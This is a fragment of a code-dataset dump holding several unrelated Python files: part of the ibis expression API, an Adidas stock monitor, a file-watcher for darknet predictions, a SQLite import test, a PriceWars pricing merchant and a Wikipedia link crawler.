*args).to_expr()\n\n\n@timestamp.register(datetime.datetime)\ndef _timestamp_from_datetime(value, timezone: str | None = None) -> ir.TimestampScalar:\n return literal(value, type=dt.Timestamp(timezone=timezone))\n\n\n@timestamp.register(str)\ndef _timestamp_from_str(value: str, timezone: str | None = None) -> ir.TimestampScalar:\n import pandas as pd\n\n try:\n value = pd.Timestamp(value, tz=timezone)\n except pd.errors.OutOfBoundsDatetime:\n value = dateutil.parser.parse(value)\n dtype = dt.Timestamp(timezone=timezone if timezone is not None else value.tzname())\n return literal(value, type=dtype)\n\n\n@functools.singledispatch\ndef date(value) -> DateValue:\n \"\"\"Return a date literal if `value` is coercible to a date.\n\n Parameters\n ----------\n value\n Date string\n\n Returns\n -------\n DateScalar\n A date expression\n \"\"\"\n raise NotImplementedError()\n\n\n@date.register(str)\ndef _date_from_str(value: str) -> ir.DateScalar:\n import pandas as pd\n\n return literal(pd.to_datetime(value).date(), type=dt.date)\n\n\n@date.register(datetime.datetime)\ndef _date_from_timestamp(value) -> ir.DateScalar:\n return literal(value, type=dt.date)\n\n\n@date.register(IntegerColumn)\n@date.register(int)\ndef _date_from_int(year, month, day) -> ir.DateScalar:\n return ops.DateFromYMD(year, month, day).to_expr()\n\n\n@date.register(StringValue)\ndef _date_from_string(value: StringValue) -> DateValue:\n return value.cast(dt.date)\n\n\n@date.register(Deferred)\ndef _date_from_deferred(value: Deferred) -> Deferred:\n return value.date()\n\n\n@functools.singledispatch\ndef time(value) -> TimeValue:\n return literal(value, type=dt.time)\n\n\n@time.register(str)\ndef _time_from_str(value: str) -> ir.TimeScalar:\n import pandas as pd\n\n return literal(pd.to_datetime(value).time(), type=dt.time)\n\n\n@time.register(IntegerColumn)\n@time.register(int)\ndef _time_from_int(hours, mins, secs) -> ir.TimeScalar:\n return ops.TimeFromHMS(hours, mins, secs).to_expr()\n\n\n@time.register(StringValue)\ndef _time_from_string(value: StringValue) -> TimeValue:\n return value.cast(dt.time)\n\n\n@time.register(Deferred)\ndef _time_from_deferred(value: Deferred) -> Deferred:\n return value.time()\n\n\ndef interval(\n value: int | datetime.timedelta | None = None,\n unit: str = 's',\n years: int | None = None,\n quarters: int | None = None,\n months: int | None = None,\n weeks: int | None = None,\n days: int | None = None,\n hours: int | None = None,\n minutes: int | None = None,\n seconds: int | None = None,\n milliseconds: int | None = None,\n microseconds: int | None = None,\n nanoseconds: int | None = None,\n) -> ir.IntervalScalar:\n \"\"\"Return an interval literal expression.\n\n Parameters\n ----------\n value\n Interval value. If passed, must be combined with `unit`.\n unit\n Unit of `value`\n years\n Number of years\n quarters\n Number of quarters\n months\n Number of months\n weeks\n Number of weeks\n days\n Number of days\n hours\n Number of hours\n minutes\n Number of minutes\n seconds\n Number of seconds\n milliseconds\n Number of milliseconds\n microseconds\n Number of microseconds\n nanoseconds\n Number of nanoseconds\n\n Returns\n -------\n IntervalScalar\n An interval expression\n \"\"\"\n if value is not None:\n if isinstance(value, datetime.timedelta):\n unit = 's'\n value = int(value.total_seconds())\n elif not isinstance(value, int):\n raise ValueError('Interval value must be an integer')\n else:\n kwds = [\n ('Y', years),\n ('Q', quarters),\n ('M', months),\n ('W', weeks),\n ('D', days),\n ('h', hours),\n ('m', minutes),\n ('s', seconds),\n ('ms', milliseconds),\n ('us', microseconds),\n ('ns', nanoseconds),\n ]\n defined_units = [(k, v) for k, v in kwds if v is not None]\n\n if len(defined_units) != 1:\n raise ValueError('Exactly one argument is required')\n\n unit, value = defined_units[0]\n\n value_type = literal(value).type()\n type = dt.Interval(unit, value_type=value_type)\n\n return literal(value, type=type)\n\n\ndef case() -> bl.SearchedCaseBuilder:\n \"\"\"Begin constructing a case expression.\n\n Use the `.when` method on the resulting object followed by `.end` to create a\n complete case.\n\n Examples\n --------\n >>> import ibis\n >>> cond1 = ibis.literal(1) == 1\n >>> cond2 = ibis.literal(2) == 1\n >>> expr = ibis.case().when(cond1, 3).when(cond2, 4).end()\n SearchedCase(cases=(1 == 1, 2 == 1), results=(3, 4)), default=Cast(None, to=int8))\n\n Returns\n -------\n SearchedCaseBuilder\n A builder object to use for constructing a case expression.\n \"\"\"\n return bl.SearchedCaseBuilder()\n\n\ndef now() -> ir.TimestampScalar:\n \"\"\"Return an expression that will compute the current timestamp.\n\n Returns\n -------\n TimestampScalar\n An expression representing the current timestamp.\n \"\"\"\n return ops.TimestampNow().to_expr()\n\n\ndef row_number() -> ir.IntegerColumn:\n \"\"\"Return an analytic function expression for the current row number.\n\n Returns\n -------\n IntegerColumn\n A column expression enumerating rows\n \"\"\"\n return ops.RowNumber().to_expr()\n\n\ndef read_csv(sources: str | Path | Sequence[str | Path], **kwargs: Any) -> ir.Table:\n \"\"\"Lazily load a CSV or set of CSVs.\n\n This function delegates to the `read_csv` method on the current default\n backend (DuckDB or `ibis.config.default_backend`).\n\n Parameters\n ----------\n sources\n A filesystem path or URL or list of same. Supports CSV and TSV files.\n kwargs\n Backend-specific keyword arguments for the file type. For the DuckDB\n backend used by default, please refer to:\n\n * CSV/TSV: https://duckdb.org/docs/data/csv#parameters.\n\n Returns\n -------\n ir.Table\n Table expression representing a file\n\n Examples\n --------\n >>> batting = ibis.read_csv(\"ci/ibis-testing-data/batting.csv\")\n \"\"\"\n from ibis.config import _default_backend\n\n con = _default_backend()\n return con.read_csv(sources, **kwargs)\n\n\n@experimental\ndef read_json(sources: str | Path | Sequence[str | Path], **kwargs: Any) -> ir.Table:\n \"\"\"Lazily load newline-delimited JSON data.\n\n This function delegates to the `read_json` method on the current default\n backend (DuckDB or `ibis.config.default_backend`).\n\n Parameters\n ----------\n sources\n A filesystem path or URL or list of same.\n kwargs\n Backend-specific keyword arguments for the file type. For the DuckDB\n backend used by default, there are no valid keywork arguments.\n\n Returns\n -------\n ir.Table\n Table expression representing a file\n\n Examples\n --------\n >>> t = ibis.read_json(\"data.json\")\n \"\"\"\n from ibis.config import _default_backend\n\n con = _default_backend()\n return con.read_json(sources, **kwargs)\n\n\ndef read_parquet(sources: str | Path | Sequence[str | Path], **kwargs: Any) -> ir.Table:\n \"\"\"Lazily load a parquet file or set of parquet files.\n\n This function delegates to the `read_parquet` method on the current default\n backend (DuckDB or `ibis.config.default_backend`).\n\n Parameters\n ----------\n sources\n A filesystem path or URL or list of same.\n kwargs\n Backend-specific keyword arguments for the file type. For the DuckDB\n backend used by default, please refer to:\n\n * Parquet: https://duckdb.org/docs/data/parquet\n\n Returns\n -------\n ir.Table\n Table expression representing a file\n\n Examples\n --------\n >>> batting = ibis.read_parquet(\"ci/ibis-testing-data/parquet/batting/batting.parquet\")\n \"\"\"\n from ibis.config import _default_backend\n\n con = _default_backend()\n return con.read_parquet(sources, **kwargs)\n\n\ndef set_backend(backend: str | BaseBackend) -> None:\n \"\"\"Set the default Ibis backend.\n\n Parameters\n ----------\n backend\n May be a backend name or URL, or an existing backend instance.\n\n Examples\n --------\n May pass the backend as a name:\n >>> ibis.set_backend(\"polars\")\n\n Or as a URI:\n >>> ibis.set_backend(\"postgres://user:password@hostname:5432\")\n\n Or as an existing backend instance:\n >>> ibis.set_backend(ibis.duckdb.connect())\n \"\"\"\n import ibis\n\n if isinstance(backend, str) and backend.isidentifier():\n try:\n backend_type = getattr(ibis, backend)\n except AttributeError:\n pass\n else:\n backend = backend_type.connect()\n if isinstance(backend, str):\n backend = ibis.connect(backend)\n\n ibis.options.default_backend = backend\n\n\ndef get_backend(expr: Expr | None = None) -> BaseBackend:\n \"\"\"Get the current Ibis backend to use for a given expression.\n\n expr\n An expression to get the backend from. If not passed, the default\n backend is returned.\n\n Returns\n -------\n BaseBackend\n The Ibis backend.\n \"\"\"\n if expr is None:\n from ibis.config import _default_backend\n\n return _default_backend()\n return expr._find_backend(use_default=True)\n\n\nclass RowsWithMaxLookback(NamedTuple):\n rows: int\n max_lookback: ir.IntervalValue\n\n\ndef rows_with_max_lookback(\n rows: int | np.integer, max_lookback: ir.IntervalValue\n) -> RowsWithMaxLookback:\n \"\"\"Create a bound preceding value for use with trailing window functions.\n\n Parameters\n ----------\n rows\n Number of rows\n max_lookback\n Maximum lookback in time\n Returns\n -------\n RowsWithMaxLookback\n A named tuple of rows and maximum look-back in time.\n \"\"\"\n return RowsWithMaxLookback(rows, max_lookback)\n\n\ndef window(\n preceding=None,\n following=None,\n order_by=None,\n group_by=None,\n *,\n rows=None,\n range=None,\n between=None,\n):\n \"\"\"Create a window clause for use with window functions.\n\n The `ROWS` window clause includes peer rows based on differences in row\n **number** whereas `RANGE` includes rows based on the differences in row\n **value** of a single `order_by` expression.\n\n All window frame bounds are inclusive.\n\n Parameters\n ----------\n preceding\n Number of preceding rows in the window\n following\n Number of following rows in the window\n group_by\n Grouping key\n order_by\n Ordering key\n rows\n Whether to use the `ROWS` window clause\n range\n Whether to use the `RANGE` window clause\n between\n Automatically infer the window kind based on the boundaries\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n if isinstance(preceding, RowsWithMaxLookback):\n max_lookback = preceding.max_lookback\n preceding = preceding.rows\n else:\n max_lookback = None\n\n has_rows = rows is not None\n has_range = range is not None\n has_between = between is not None\n has_preceding_following = preceding is not None or following is not None\n if has_rows + has_range + has_between + has_preceding_following > 1:\n raise IbisInputError(\n \"Must only specify either `rows`, `range`, `between` or `preceding`/`following`\"\n )\n\n builder = (\n bl.LegacyWindowBuilder()\n .group_by(group_by)\n .order_by(order_by)\n .lookback(max_lookback)\n )\n if has_rows:\n return builder.rows(*rows)\n elif has_range:\n return builder.range(*range)\n elif has_between:\n return builder.between(*between)\n elif has_preceding_following:\n return builder.preceding_following(preceding, following)\n else:\n return builder\n\n\ndef rows_window(preceding=None, following=None, group_by=None, order_by=None):\n \"\"\"Create a rows-based window clause for use with window functions.\n\n This ROWS window clause aggregates rows based upon differences in row\n number.\n\n All window frames / ranges are inclusive.\n\n Parameters\n ----------\n preceding\n Number of preceding rows in the window\n following\n Number of following rows in the window\n group_by\n Grouping key\n order_by\n Ordering key\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n if isinstance(preceding, RowsWithMaxLookback):\n max_lookback = preceding.max_lookback\n preceding = preceding.rows\n else:\n max_lookback = None\n\n return (\n bl.LegacyWindowBuilder()\n .group_by(group_by)\n .order_by(order_by)\n .lookback(max_lookback)\n .preceding_following(preceding, following, how=\"rows\")\n )\n\n\ndef range_window(preceding=None, following=None, group_by=None, order_by=None):\n \"\"\"Create a range-based window clause for use with window functions.\n\n This RANGE window clause aggregates rows based upon differences in the\n value of the order-by expression.\n\n All window frames / ranges are inclusive.\n\n Parameters\n ----------\n preceding\n Number of preceding rows in the window\n following\n Number of following rows in the window\n group_by\n Grouping key\n order_by\n Ordering key\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n return (\n bl.LegacyWindowBuilder()\n .group_by(group_by)\n .order_by(order_by)\n .preceding_following(preceding, following, how=\"range\")\n )\n\n\ndef cumulative_window(group_by=None, order_by=None):\n \"\"\"Create a cumulative window for use with window functions.\n\n All window frames / ranges are inclusive.\n\n Parameters\n ----------\n group_by\n Grouping key\n order_by\n Ordering key\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n return window(rows=(None, 0), group_by=group_by, order_by=order_by)\n\n\ndef trailing_window(preceding, group_by=None, order_by=None):\n \"\"\"Create a trailing window for use with window functions.\n\n Parameters\n ----------\n preceding\n The number of preceding rows\n group_by\n Grouping key\n order_by\n Ordering key\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n return window(\n preceding=preceding, following=0, group_by=group_by, order_by=order_by\n )\n\n\ndef trailing_rows_window(preceding, group_by=None, order_by=None):\n \"\"\"Create a trailing window for use with aggregate window functions.\n\n Parameters\n ----------\n preceding\n The number of preceding rows\n group_by\n Grouping key\n order_by\n Ordering key\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n return rows_window(\n preceding=preceding, following=0, group_by=group_by, order_by=order_by\n )\n\n\ndef trailing_range_window(preceding, order_by, group_by=None):\n \"\"\"Create a trailing range window for use with window functions.\n\n Parameters\n ----------\n preceding\n A value expression\n order_by\n Ordering key\n group_by\n Grouping key\n\n Returns\n -------\n Window\n A window frame\n \"\"\"\n return range_window(\n preceding=preceding, following=0, group_by=group_by, order_by=order_by\n )\n\n\ne = ops.E().to_expr()\npi = ops.Pi().to_expr()\n\ngeo_area = _deferred(ir.GeoSpatialValue.area)\ngeo_as_binary = _deferred(ir.GeoSpatialValue.as_binary)\ngeo_as_ewkb = _deferred(ir.GeoSpatialValue.as_ewkb)\ngeo_as_ewkt = _deferred(ir.GeoSpatialValue.as_ewkt)\ngeo_as_text = _deferred(ir.GeoSpatialValue.as_text)\ngeo_azimuth = _deferred(ir.GeoSpatialValue.azimuth)\ngeo_buffer = _deferred(ir.GeoSpatialValue.buffer)\ngeo_centroid = _deferred(ir.GeoSpatialValue.centroid)\ngeo_contains = _deferred(ir.GeoSpatialValue.contains)\ngeo_contains_properly = _deferred(ir.GeoSpatialValue.contains_properly)\ngeo_covers = _deferred(ir.GeoSpatialValue.covers)\ngeo_covered_by = _deferred(ir.GeoSpatialValue.covered_by)\ngeo_crosses = _deferred(ir.GeoSpatialValue.crosses)\ngeo_d_fully_within = _deferred(ir.GeoSpatialValue.d_fully_within)\ngeo_difference = _deferred(ir.GeoSpatialValue.difference)\ngeo_disjoint = _deferred(ir.GeoSpatialValue.disjoint)\ngeo_distance = _deferred(ir.GeoSpatialValue.distance)\ngeo_d_within = _deferred(ir.GeoSpatialValue.d_within)\ngeo_end_point = _deferred(ir.GeoSpatialValue.end_point)\ngeo_envelope = _deferred(ir.GeoSpatialValue.envelope)\ngeo_equals = _deferred(ir.GeoSpatialValue.geo_equals)\ngeo_geometry_n = _deferred(ir.GeoSpatialValue.geometry_n)\ngeo_geometry_type = _deferred(ir.GeoSpatialValue.geometry_type)\ngeo_intersection = _deferred(ir.GeoSpatialValue.intersection)\ngeo_intersects = _deferred(ir.GeoSpatialValue.intersects)\ngeo_is_valid = _deferred(ir.GeoSpatialValue.is_valid)\ngeo_line_locate_point = _deferred(ir.GeoSpatialValue.line_locate_point)\ngeo_line_merge = _deferred(ir.GeoSpatialValue.line_merge)\ngeo_line_substring = _deferred(ir.GeoSpatialValue.line_substring)\ngeo_length = _deferred(ir.GeoSpatialValue.length)\ngeo_max_distance = _deferred(ir.GeoSpatialValue.max_distance)\ngeo_n_points = _deferred(ir.GeoSpatialValue.n_points)\ngeo_n_rings = _deferred(ir.GeoSpatialValue.n_rings)\ngeo_ordering_equals = _deferred(ir.GeoSpatialValue.ordering_equals)\ngeo_overlaps = _deferred(ir.GeoSpatialValue.overlaps)\ngeo_perimeter = _deferred(ir.GeoSpatialValue.perimeter)\ngeo_point = _deferred(ir.NumericValue.point)\ngeo_point_n = _deferred(ir.GeoSpatialValue.point_n)\ngeo_set_srid = _deferred(ir.GeoSpatialValue.set_srid)\ngeo_simplify = _deferred(ir.GeoSpatialValue.simplify)\ngeo_srid = _deferred(ir.GeoSpatialValue.srid)\ngeo_start_point = _deferred(ir.GeoSpatialValue.start_point)\ngeo_touches = _deferred(ir.GeoSpatialValue.touches)\ngeo_transform = _deferred(ir.GeoSpatialValue.transform)\ngeo_union = _deferred(ir.GeoSpatialValue.union)\ngeo_within = _deferred(ir.GeoSpatialValue.within)\ngeo_x = _deferred(ir.GeoSpatialValue.x)\ngeo_x_max = _deferred(ir.GeoSpatialValue.x_max)\ngeo_x_min = _deferred(ir.GeoSpatialValue.x_min)\ngeo_y = _deferred(ir.GeoSpatialValue.y)\ngeo_y_max = _deferred(ir.GeoSpatialValue.y_max)\ngeo_y_min = _deferred(ir.GeoSpatialValue.y_min)\ngeo_unary_union = _deferred(ir.GeoSpatialColumn.unary_union)\n\nwhere = ifelse = _deferred(ir.BooleanValue.ifelse)\ncoalesce = _deferred(ir.Value.coalesce)\ngreatest = _deferred(ir.Value.greatest)\nleast = _deferred(ir.Value.least)\ncategory_label = _deferred(ir.IntegerColumn.label)\n\naggregate = ir.Table.aggregate\ncross_join = ir.Table.cross_join\njoin = ir.Table.join\nasof_join = ir.Table.asof_join\n\nunion = ir.Table.union\nintersect = ir.Table.intersect\ndifference = ir.Table.difference\n\n_ = deferred = Deferred()\n\"\"\"Deferred expression object.\n\nUse this object to refer to a previous table expression in a chain of\nexpressions.\n\n!!! note \"`_` may conflict with other idioms in Python\"\n\n See https://github.com/ibis-project/ibis/issues/4704 for details.\n\n Use `from ibis import deferred as ` to assign a different name to\n the deferred object builder.\n\nExamples\n--------\n>>> from ibis import _\n>>> t = ibis.table(dict(key=\"int\", value=\"float\"), name=\"t\")\n>>> expr = t.group_by(key=_.key - 1).agg(total=_.value.sum())\n>>> expr.schema()\nibis.Schema {\n key int64\n total float64\n}\n\"\"\"\n","sub_path":"ibis/expr/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":33381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"366250729","text":"import json,time,sys,os,random\nfrom src.adidas import Adidas\nAdidas = Adidas()\n\ndef parseProxies():\n proxies = []\n proxy_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"proxies.txt\")\n with open(proxy_path) as f:\n for i in f.read().splitlines():\n proxies.append(i)\n if proxies is []:\n proxies.append(None)\n return proxies\ndef parseSettings():\n settings_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"settings.json\")\n try:\n with open(settings_path,encoding='utf-8') as f:\n data = json.loads(f.read())\n except:\n print(\"Failed to load Settings file. Check File and run again!\")\n sys.exit()\n \n return data\n\ndef parseEndpoint(sku,locale,proxy):\n r = Adidas.monitorStockForDrop(sku,locale,proxy=proxy)\n if r.status_code==200:\n try:\n JSON = r.json()\n return JSON\n except:\n return []\n else:\n return []\n\nif __name__ == \"__main__\":\n proxies = parseProxies()\n config = parseSettings()\n sku = config['SKU']\n locale = config['locale']\n delay = config['delay']\n print(\"Starting Adidas {} Monitor for SKU [{}]\".format(locale,sku))\n print(\"-\"*20)\n while True:\n proxy = random.choice(proxies)\n data = parseEndpoint(sku,locale,proxy)\n if data != []:\n print(\"[{}] is Live!\".format(sku))\n print(\"-\"*20)\n for i in data[\"variation_list\"]:\n print(\"Size : {}\".format(str(i['size'])))\n print(\"Status : {}\".format(str(i['availability_status'])))\n print(\"Stock level : {}\".format(str(i['availability'])))\n print(\"-\"*20)\n break\n else:\n time.sleep(int(delay))\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"518256482","text":"from os import rename\nfrom os.path import join, isfile\nfrom watchdog.observers import Observer\nfrom watchdog.events import PatternMatchingEventHandler\nfrom functools import partial\nfrom time import sleep\nfrom glob import glob\n\nIMG_SRC_DIRECTORY = \"images/*.jpg\"\nRESULT_PATH = \"darknet/predictions.jpg\"\nIMG_DEST_DIR = \"results/\"\nPAUSED = False\n\ndef on_created(event, filename):\n global PAUSED;\n try:\n rename(RESULT_PATH, join(IMG_DEST_DIR, filename))\n except FileNotFoundError:\n print(\"Please wait...\")\n PAUSED = True\n print(f\"{event.src_path} has been created!\")\n\ndef on_moved(event):\n print(f\"{event.src_path} has been moved to {event.dest_path}\")\n\ndef create_handler():\n event_handler = PatternMatchingEventHandler(\n patterns = [\"*/darknet/predictions.jpg\"],\n ignore_patterns = \"\",\n ignore_directories = True,\n case_sensitive = True\n )\n return event_handler\n\ndef config_handler(handler, filename):\n global PAUSED\n handler.on_created = partial(on_created, filename=filename)\n handler.on_moved = on_moved\n observer = Observer()\n observer.schedule(\n handler,\n path=\".\",\n recursive=True\n )\n observer.start()\n try:\n while True:\n sleep(1)\n if PAUSED:\n observer.stop()\n observer.join()\n PAUSED = False\n break\n except KeyboardInterrupt:\n observer.stop()\n observer.join() \n\ndef main():\n handler = create_handler()\n for image_dir in glob(IMG_SRC_DIRECTORY):\n image_name = image_dir.split(\"/\")[-1]\n config_handler(handler, image_name)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"576982350","text":"import argparse\nimport sys\n\nsys.path.append('./')\nsys.path.append('../')\nfrom merchant_sdk import MerchantBaseLogic, MerchantServer\nfrom merchant_sdk.api import PricewarsRequester, MarketplaceApi, ProducerApi\nfrom merchant_sdk.models import Offer\nimport time\n\nmerchant_token = \"{{API_TOKEN}}\"\n\nsettings = {\n 'merchant_id': MerchantBaseLogic.calculate_id(merchant_token),\n 'marketplace_url': MerchantBaseLogic.get_marketplace_url(),\n 'producer_url': MerchantBaseLogic.get_producer_url(),\n 'price_decrement': 0.05,\n 'initialProducts': 3,\n 'minPriceMargin': 3.0,\n 'maxPriceMargin': 12.0,\n 'shipping': 1,\n 'primeShipping': 1,\n 'max_req_per_sec': 10.0\n}\n\n\nclass MerchantD(MerchantBaseLogic):\n def __init__(self):\n MerchantBaseLogic.__init__(self)\n global settings\n self.settings = settings\n\n '''\n Internal state handling\n '''\n self.execQueue = []\n self.marketplace_requests = []\n\n\n '''\n Information store\n '''\n self.products = {}\n self.offers = {}\n\n '''\n Predefined API token\n '''\n self.merchant_id = settings['merchant_id']\n self.merchant_token = merchant_token\n\n '''\n Setup API\n '''\n PricewarsRequester.add_api_token(self.merchant_token)\n self.marketplace_api = MarketplaceApi(host=self.settings['marketplace_url'], debug=False)\n self.producer_api = ProducerApi(host=self.settings['producer_url'], debug=False)\n\n '''\n Start Logic Loop\n '''\n self.run_logic_loop()\n\n def update_api_endpoints(self):\n \"\"\"\n Updated settings may contain new endpoints, so they need to be set in the api client as well.\n However, changing the endpoint (after simulation start) may lead to an inconsistent state\n :return: None\n \"\"\"\n self.marketplace_api.host = self.settings['marketplace_url']\n self.producer_api.host = self.settings['producer_url']\n\n def get_settings(self):\n return self.settings\n\n def update_settings(self, new_settings):\n def cast_to_expected_type(key, value, def_settings=self.settings):\n if key in def_settings:\n return type(def_settings[key])(value)\n else:\n return value\n\n new_settings_casted = dict([\n (key, cast_to_expected_type(key, new_settings[key]))\n for key in new_settings\n ])\n\n self.settings.update(new_settings_casted)\n self.update_api_endpoints()\n return self.settings\n\n def sold_offer(self, offer):\n # print(\"sold offer\")\n self.execQueue.append((self.sold_product, [offer]))\n\n def buy_missing_products(self):\n for i in range(self.settings[\"initialProducts\"] - sum(offer.amount for offer in self.offers.values())):\n self.buy_product_and_update_offer()\n\n def setup(self):\n try:\n # get all products for later comparison over all qualities\n self.product = {}\n for product in self.producer_api.get_products():\n self.products[product.uid] = product\n\n # get all existing offers from marketplace\n self.offer = {}\n for offer in self.marketplace_api.get_offers():\n if offer.merchant_id == self.merchant_id:\n self.offers[offer.uid] = offer\n\n # buy new products if none or not enough exist\n self.buy_missing_products()\n\n except Exception as e:\n print('error on setup:', e)\n\n def execute_logic(self):\n # execute queued methods\n tmp_queue = [e for e in self.execQueue]\n self.execQueue = []\n for method, args in tmp_queue:\n method(*args)\n\n # if initialProducts setting increased after start, get new products\n self.buy_missing_products()\n\n self.update_market_situation()\n\n return self.calculate_intervall()\n\n def base_price_diff(self, offer):\n try:\n product = self.products[offer.uid]\n except KeyError:\n # we see a product that we have not yet received from the producer\n products = [p for p in self.producer_api.get_products() if p.uid == offer.uid]\n product = products[0] # there should be only one product for a given uid\n self.products[product.uid] = product\n return offer.price - product.price\n\n def adjust_prices(self, offer=None, lowest_price_diff=0):\n product = self.products[offer.uid]\n if not offer or not product:\n return\n price_diff = min(lowest_price_diff - settings['price_decrement'], settings['maxPriceMargin'])\n if price_diff < settings['minPriceMargin']:\n price_diff = settings['maxPriceMargin']\n new_product_price = product.price + price_diff\n if new_product_price != offer.price:\n offer.price = new_product_price\n # print(\"update to new price \", new_product_price)\n self.marketplace_api.update_offer(offer)\n self.request_done()\n\n def update_market_situation(self):\n marketplace_offers = self.marketplace_api.get_offers()\n for own_offer in self.offers.values():\n if self.quora_exhausted():\n break\n if own_offer.amount > 0:\n competitor_offers_price_diff = []\n for marketplace_offer in marketplace_offers:\n if marketplace_offer.merchant_id != self.merchant_id and marketplace_offer.product_id == own_offer.product_id:\n competitor_offers_price_diff.append(self.base_price_diff(marketplace_offer))\n if len(competitor_offers_price_diff) > 0:\n self.adjust_prices(offer=own_offer, lowest_price_diff=min(competitor_offers_price_diff))\n else:\n self.adjust_prices(offer=own_offer)\n\n def sold_product(self, sold_offer):\n # print('soldProduct, offer:', sold_offer)\n if sold_offer.uid in self.offers:\n # print('found in offers')\n offer = self.offers[sold_offer.uid]\n offer.amount -= sold_offer.amount_sold\n product = self.products[sold_offer.uid]\n product.amount -= sold_offer.amount_sold\n if product.amount <= 0:\n pass\n # print('product {:d} is out of stock!'.format(product.uid))\n self.buy_product_and_update_offer()\n\n def add_new_product_to_offers(self, new_product):\n new_offer = Offer.from_product(new_product)\n new_offer.price += settings['maxPriceMargin']\n new_offer.shipping_time = {\n 'standard': settings['shipping'],\n 'prime': settings['primeShipping']\n }\n new_offer.prime = True\n self.products[new_product.uid] = new_product\n new_offer.offer_id = self.marketplace_api.add_offer(new_offer).offer_id\n self.offers[new_product.uid] = new_offer\n\n def restock_existing_product(self, new_product):\n # print('restock product', new_product)\n product = self.products[new_product.uid]\n product.amount += new_product.amount\n product.signature = new_product.signature\n\n offer = self.offers[product.uid]\n # print('in this offer:', offer)\n offer.amount = product.amount\n offer.signature = product.signature\n self.marketplace_api.restock(offer.offer_id, new_product.amount, offer.signature)\n\n def buy_product_and_update_offer(self):\n # print('buy Product and update')\n new_product = self.producer_api.buy_product()\n\n if new_product.uid in self.offers:\n self.restock_existing_product(new_product)\n else:\n self.add_new_product_to_offers(new_product)\n\n def request_done(self):\n self.marketplace_requests.insert(0,time.time())\n\n def quora_exhausted(self):\n while len(self.marketplace_requests) > 0:\n last = self.marketplace_requests.pop()\n now = time.time()\n if now - last < 1:\n self.marketplace_requests.append(last)\n break\n\n return len(self.marketplace_requests) >= settings['max_req_per_sec']\n\n def active_offers_count(self):\n offer_count = 0\n for offer in self.offers.values():\n if offer.amount > 0:\n offer_count += 1\n return offer_count\n\n def calculate_intervall(self):\n if len(self.marketplace_requests) == 0:\n return 0\n else:\n offer_count = self.active_offers_count()\n remaining_reqs = max(1, settings['max_req_per_sec'] - len(self.marketplace_requests))\n time_to_next_release = time.time() - self.marketplace_requests[-1]\n return (offer_count / remaining_reqs) * time_to_next_release\n\n\nmerchant_logic = MerchantD()\nmerchant_server = MerchantServer(merchant_logic)\napp = merchant_server.app\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='PriceWars Merchant')\n parser.add_argument('--port', type=int,\n help='port to bind flask App to')\n\n args = parser.parse_args()\n\n app.run(host='0.0.0.0', port=args.port)\n","sub_path":"sample_merchant/TwoBoundMerchantApp.py","file_name":"TwoBoundMerchantApp.py","file_ext":"py","file_size_in_byte":9289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"378693504","text":"\n# coding: utf-8\n\n# In[2]:\n\n\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError , URLError\nfrom bs4 import BeautifulSoup\nimport datetime , random , re\n\nrandom.seed(datetime.datetime.now())\n\npages=set()\n\ndef getlinks(url):\n try:\n html = urlopen(url)\n except HTTPError as h:\n print(\"Page not found\")\n except URLError as u:\n print(\"URL not found\")\n try:\n bs = BeautifulSoup(html)\n body_content = bs.find(\"div\",{\"id\":\"bodyContent\"})\n links = body_content.findAll('a',href=re.compile(\"^(/wiki/)((?!:).)*$\"))\n except AttributeError as a:\n print(\"Attribute not found eror\")\n return links\n\nlinks = getlinks(\"http://en.wikipedia.org/wiki/Kevin_Bacon\")\n#for l in links:\n# if 'href' in l.attrs:\n# print(l.attrs['href'])\n\nwhile len(links)>200:\n newarticle = links[random.randint(0,len(links)-1)].attrs['href']\n if newarticle not in pages:\n print(newarticle)\n pages.add(newarticle)\n links = getlinks(\"http://en.wikipedia.org/\" + newarticle)\n\n","sub_path":"Six Degrees of Wikipedia- Each time new page.py","file_name":"Six Degrees of Wikipedia- Each time new page.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"216059537","text":"import sqlite3\nimport csv\n\n# CREATE TABLE\ninput_file = \"kfq_python/sqlite/input.csv\"\n\nconn = sqlite3.connect(\"kfq_python/sqlite/suppliers.db\")\n\nc = conn.cursor()\n\nsql = \"\"\"\n create table if not exists suppliers(\n supplier_name varchar(20),\n invoice_number varchar(20),\n part_number varchar(20),\n cost float,\n purchase_date date\n )\n \"\"\"\nc.execute(sql)\nconn.commit()\n\n# csv -> sqllite\nfile_reader = csv.reader(open(input_file, \"r\"), delimiter=\",\")\nheader = next(file_reader, None)\nprint(header)\ndata = []\nfor row in file_reader:\n print(type(row))\n data.append(row)\nprint(data)\nprint(type(data))\nsql = \"insert into suppliers values(?,?,?,?,?)\"\nc.executemany(sql, data)\nconn.commit()\n\n# 데이터 삭제\nsql = \"delete from suppliers\"\nc.execute(sql)\nconn.commit()\n\nc.close()\nconn.close()\n","sub_path":"db/sqlite/sqlite_test3.py","file_name":"sqlite_test3.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"439064002","text":"tests_count, sensors_count = map(int, input(\"Enter count of tests and sensors: \").split())\n\nif os.path.exists('input.txt'):\n\tf = open(\"input.txt\", 'a')\nelse:\n\tf = open(\"input.txt\", 'w')\n\nprint(\"isTrue, nums\")\n\nfor i in 